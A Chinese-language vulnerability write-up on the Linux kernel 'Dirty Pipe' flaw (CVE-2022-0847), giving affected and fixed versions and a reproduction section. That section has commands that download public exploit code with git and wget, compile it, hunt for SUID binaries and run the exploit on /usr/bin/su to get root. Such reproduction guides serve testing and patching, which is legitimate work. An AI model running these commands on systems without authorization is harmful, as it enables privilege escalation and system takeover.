一、CVE-2022-0847简介

危害等级:高

POC/EXP情况:已公开(https://www.exploit-db.com/exploits/50808)

影响范围:Linux内核5.8及以后的版本(:该漏洞已在Linux 5.16.11、5.15.25 和 5.10.102 中修复)

二、漏洞描述

CVE-2022-0847是自 5.8 以来 Linux 内核中的一个漏洞,攻击者利用该漏洞可以覆盖任意只读文件中的数据。这样将普通的权限提升至root权限,因为非特权进程可以将代码注入到根进程。

CVE-2022-0847类似于 CVE-2016-5195 “Dirty Cow”(脏牛提权),而且容易被利用,网页翻译过来叫脏管道。

三、复现

【方法一:使用DirtyPipe.sh】

git clone https://github.com/imfiver/CVE-2022-0847
cd CVE-2022-0847
id # 查看当前用户id,确定为普通用户,需要提升权限
uname -a # 查看当前内核版本,5.10.0大于等于5.8符合本次漏洞利用前提
bash ./Dirty-Pipe.sh

img

【方法二:使用dirtypipez.c】

mkdir dirtypipez
cd dirtypipez
wget https://haxx.in/files/dirtypipez.c
gcc dirtypipez.c -o dirtypipez

img

这个POC需要事先找到一个具有SUID权限的可执行文件,然后利用这个文件进行提权。使用以下命令可以找到这类文件

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

img

这里就以/usr/bin/su为例,直接./dirtypipez跟上具有SUID权限的文件即可提权

./dirtypipez /usr/bin/su

img

四、漏洞修复

更新升级Linux内核到以下安全版本

  • Linux内核 >= 5.16.11

  • Linux内核 >= 5.15.25

  • Linux内核 >= 5.10.102

五、参考链接